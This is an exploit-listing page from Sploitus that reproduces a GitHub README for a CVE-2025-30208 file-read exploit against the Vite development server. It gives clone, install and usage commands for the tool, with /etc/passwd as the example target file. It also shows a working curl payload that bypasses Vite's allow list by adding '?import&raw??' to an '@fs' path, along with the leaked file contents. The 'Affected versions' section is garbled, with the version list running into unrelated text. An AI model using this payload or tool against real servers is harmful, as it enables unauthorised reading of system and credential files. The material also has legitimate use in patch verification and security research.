Sploitus

Exploit for CVE-2025-30208

githubexploit · 2025-03-27

Exploit Code

README52 lines
## https://sploitus.com/exploit?id=3F30444B-A046-5839-92BD-B4791FC5B600
# CVE-2025-30208-LFI

>[!IMPORTANT]
># Disclaimer
>This exploit is for educational and ethical security testing purposes only. The use of this exploit against targets without prior mutual consent is illegal, and the developer disclaims any liability for misuse or damage caused by this exploit.

## Installation

```shell
git clone https://github.com/On1onss/CVE-2025-30208-LFI.git
cd CVE-2025-30208
pip install -r requirements.txt
```

## Usage 
```shell
python CVE-2025-30208.py [-h] [-t ] [-fp ] [-i]

options:
  -h, --help       show this help message and exit
  -t   Example: -t http://localhost:5173/
  -fp   Example: -fp /etc/passwd
  -i               Interactive mode
```
## Description

### Affected versions
```
>= 6.2.0, = 6.1.0, = 6.0.0, = 5.0.0,  /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    
      403 Restricted
      The request url "/tmp/secret.txt" is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
# sourceMappingURL=data:application/json;base64,eyJ2...
```

## References
- https://nvd.nist.gov/vuln/detail/CVE-2025-30208
- https://github.com/advisories/GHSA-x574-m823-4x7w
- vitejs/vite@315695e
- vitejs/vite@80381c3
- vitejs/vite@807d7f0
- vitejs/vite@92ca12d
- vitejs/vite@f234b57